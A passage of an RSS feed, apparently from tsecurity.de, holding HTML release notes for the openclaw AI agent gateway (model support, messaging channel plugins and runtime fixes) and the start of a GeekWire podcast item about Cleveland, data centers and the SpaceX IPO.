data-hovercard-url="/openclaw/openclaw/pull/91247/hovercard" href="https://github.com/openclaw/openclaw/pull/91247">#91247</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656365455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92752" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92752/hovercard" href="https://github.com/openclaw/openclaw/pull/92752">#92752</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656087635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92735/hovercard" href="https://github.com/openclaw/openclaw/pull/92735">#92735</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/849261680/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/849261680">@849261680</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnanam1990/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnanam1990">@gnanam1990</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yhterrance/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yhterrance">@yhterrance</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Providers/models: add GLM-5.2 support and Claude Haiku 4.5 catalog entries while keeping provider-qualified model IDs normalized across OpenRouter and Google Vertex paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656989414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92796/hovercard" href="https://github.com/openclaw/openclaw/pull/92796">#92796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585186905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90116" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90116/hovercard" href="https://github.com/openclaw/openclaw/pull/90116">#90116</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654773993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92627" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92627/hovercard" href="https://github.com/openclaw/openclaw/pull/92627">#92627</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608164776" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91218/hovercard" href="https://github.com/openclaw/openclaw/pull/91218">#91218</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arkyu2077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arkyu2077">@arkyu2077</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bymle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bymle">@bymle</a>.</li>
<li>Channel plugins: ship Telegram rich-message delivery and WhatsApp ACP binding support, including rich prompt handoff to CLI backends and transport fixtures for richer drafts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655597962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92679" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92679/hovercard" href="https://github.com/openclaw/openclaw/pull/92679">#92679</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651736205" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92513" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92513/hovercard" href="https://github.com/openclaw/openclaw/pull/92513">#92513</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agent commands: support <code>/btw</code> in CLI-backed sessions and keep CLI usage-error exits classified as usage failures instead of successful runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655549474" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92669" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92669/hovercard" href="https://github.com/openclaw/openclaw/pull/92669">#92669</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640308781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92162/hovercard" href="https://github.com/openclaw/openclaw/pull/92162">#92162</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Pandah97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Pandah97">@Pandah97</a>.</li>
<li>Usage hooks: add built-in full footer rendering, default footer templates, per-turn usage state, credential-aware limits, and fixed-decimal formatting for usage-bar templates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655331882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92657" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92657/hovercard" href="https://github.com/openclaw/openclaw/pull/92657">#92657</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580034506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89835/hovercard" href="https://github.com/openclaw/openclaw/pull/89835">#89835</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4575615670" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89629" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89629/hovercard" href="https://github.com/openclaw/openclaw/pull/89629">#89629</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>.</li>
<li>Docs and operator guidance: document node config examples, clarify before-install hook scope, correct agent default concurrency comments, refresh ZAI provider docs, and update channel/group docs for current Telegram and WhatsApp behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655581970" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92677/hovercard" href="https://github.com/openclaw/openclaw/pull/92677">#92677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656444241" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92766" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92766/hovercard" href="https://github.com/openclaw/openclaw/pull/92766">#92766</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655702604" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92695" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92695/hovercard" href="https://github.com/openclaw/openclaw/pull/92695">#92695</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ArielSmoliar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ArielSmoliar">@ArielSmoliar</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Channels and delivery: preserve account-scoped DM channel send policy, rich Telegram final replies, rich Telegram tables and lists, Telegram thread-create CLI remapping, Slack outbound <code>message_sent</code> hooks, contributed message-tool schema optionality, same-channel generated media completions, and channel chunking around surrogate pairs and Infinity limits. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656886090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92788" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92788/hovercard" href="https://github.com/openclaw/openclaw/pull/92788">#92788</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655597962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92679" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92679/hovercard" href="https://github.com/openclaw/openclaw/pull/92679">#92679</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4570992089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89421" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89421/hovercard" href="https://github.com/openclaw/openclaw/pull/89421">#89421</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582050697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89943" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89943/hovercard" href="https://github.com/openclaw/openclaw/pull/89943">#89943</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4606864509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91137/hovercard" href="https://github.com/openclaw/openclaw/pull/91137">#91137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608679911" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91246" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91246/hovercard" href="https://github.com/openclaw/openclaw/pull/91246">#91246</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656087635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92735/hovercard" href="https://github.com/openclaw/openclaw/pull/92735">#92735</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spacegeologist/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spacegeologist">@spacegeologist</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rishitamrakar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rishitamrakar">@rishitamrakar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lundog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lundog">@lundog</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yhterrance/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yhterrance">@yhterrance</a>.</li>
<li>Agent, cron, and Gateway runtime: mark active main sessions before restart shutdown aborts, pause yielded subagent runs whose terminal also signals abort, preserve yielded media completions, de-duplicate main-session heartbeat events, expose session identity in runtime prompts, reject unknown OpenAI agent selectors, keep generated media completions in WebChat, and require admin privileges for HTTP session/model override surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610905781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91357/hovercard" href="https://github.com/openclaw/openclaw/pull/91357">#91357</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654845566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92631/hovercard" href="https://github.com/openclaw/openclaw/pull/92631">#92631</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639558879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92146" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92146/hovercard" href="https://github.com/openclaw/openclaw/pull/92146">#92146</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4609318080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91287/hovercard" href="https://github.com/openclaw/openclaw/pull/91287">#91287</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649907551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92468" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92468/hovercard" href="https://github.com/openclaw/openclaw/pull/92468">#92468</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651687491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92510" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92510/hovercard" href="https://github.com/openclaw/openclaw/pull/92510">#92510</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608679911" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91246" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91246/hovercard" href="https://github.com/openclaw/openclaw/pull/91246">#91246</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655100264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92651" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92651/hovercard" href="https://github.com/openclaw/openclaw/pull/92651">#92651</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654986467" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92646" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92646/hovercard" href="https://github.com/openclaw/openclaw/pull/92646">#92646</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ooiuuii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ooiuuii">@ooiuuii</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ZengWen-DT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ZengWen-DT">@ZengWen-DT</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Providers and model replay: preserve storeless OpenAI Responses replay compatibility, avoid eager tool streaming for Claude 4.5 in Copilot, honor profile auth for SecretRef model entries, bound model browsing, strip provider prefixes where runtimes need bare IDs, and surface nested embedding fetch failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598134273" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90706/hovercard" href="https://github.com/openclaw/openclaw/pull/90706">#90706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362622690" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75393" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75393/hovercard" href="https://github.com/openclaw/openclaw/pull/75393">#75393</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597491219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90686" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90686/hovercard" href="https://github.com/openclaw/openclaw/pull/90686">#90686</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643273391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92247" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92247/hovercard" href="https://github.com/openclaw/openclaw/pull/92247">#92247</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654773993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92627" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92627/hovercard" href="https://github.com/openclaw/openclaw/pull/92627">#92627</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608164776" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91218/hovercard" href="https://github.com/openclaw/openclaw/pull/91218">#91218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654779185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92628" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92628/hovercard" href="https://github.com/openclaw/openclaw/pull/92628">#92628</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snowzlm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snowzlm">@snowzlm</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samson910022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samson910022">@samson910022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bymle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bymle">@bymle</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</li>
<li>Memory, state, diagnostics, and config: split header-too-large embedding batches, keep QMD memory search enabled in transient mode, avoid SQLite WAL on NFS volumes, preserve recovery scheduling outside stuck-session warning backoff, and keep shell environment fallbacks contained in config write tests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655085802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92650" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92650/hovercard" href="https://github.com/openclaw/openclaw/pull/92650">#92650</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654672627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92618" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92618/hovercard" href="https://github.com/openclaw/openclaw/pull/92618">#92618</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654886091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92639" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92639/hovercard" href="https://github.com/openclaw/openclaw/pull/92639">#92639</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608684001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91247" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91247/hovercard" href="https://github.com/openclaw/openclaw/pull/91247">#91247</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656365455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92752" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92752/hovercard" href="https://github.com/openclaw/openclaw/pull/92752">#92752</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/849261680/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/849261680">@849261680</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnanam1990/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnanam1990">@gnanam1990</a>.</li>
<li>UI/mobile/TUI: preserve dashboard session parent lineage, WebChat backscroll, reset soft command args, sidebar session picker interactivity, collapsed workspace files, resolved <code>/model</code> confirmation refs, and stale foreground iOS Gateway reconnects. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596719543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90658/hovercard" href="https://github.com/openclaw/openclaw/pull/90658">#90658</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654733246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92622" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92622/hovercard" href="https://github.com/openclaw/openclaw/pull/92622">#92622</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610838716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91353" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91353/hovercard" href="https://github.com/openclaw/openclaw/pull/91353">#91353</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655805295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92705/hovercard" href="https://github.com/openclaw/openclaw/pull/92705">#92705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656658624" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92779" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92779/hovercard" href="https://github.com/openclaw/openclaw/pull/92779">#92779</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656549718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92773/hovercard" href="https://github.com/openclaw/openclaw/pull/92773">#92773</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653327563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92552" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92552/hovercard" href="https://github.com/openclaw/openclaw/pull/92552">#92552</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NarahariRaghava/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NarahariRaghava">@NarahariRaghava</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Release and test reliability: extend slow Gateway/full-suite watchdogs, split local full-suite shards when throttled, stabilize plugin auth marker fixtures, avoid brittle provider-ref error text, and keep QA Lab bootstrap selection assertions aligned with flow-only scenarios. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655119984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92652" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92652/hovercard" href="https://github.com/openclaw/openclaw/pull/92652">#92652</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Following through in Cleveland: A GeekWire trip report, plus data center ‘theater’ and the SpaceX IPO]]></title>
<description><![CDATA[John Cook and Charles Fitzgerald call into the podcast from an abandoned Westinghouse factory in Cleveland to debrief on a Rust Belt city's comeback and what Seattle can learn from it. Plus: the new data center moratorium, and why Fitzgerald is sitting out the SpaceX IPO. Read More]]></description>
<link>https://tsecurity.de/de/3595812/it-nachrichten/following-through-in-cleveland-a-geekwire-trip-report-plus-data-center-theater-and-the-spacex-ipo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595812/it-nachrichten/following-through-in-cleveland-a-geekwire-trip-report-plus-data-center-theater-and-the-spacex-ipo/</guid>
<pubDate>Sat, 13 Jun 2026 17:32:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
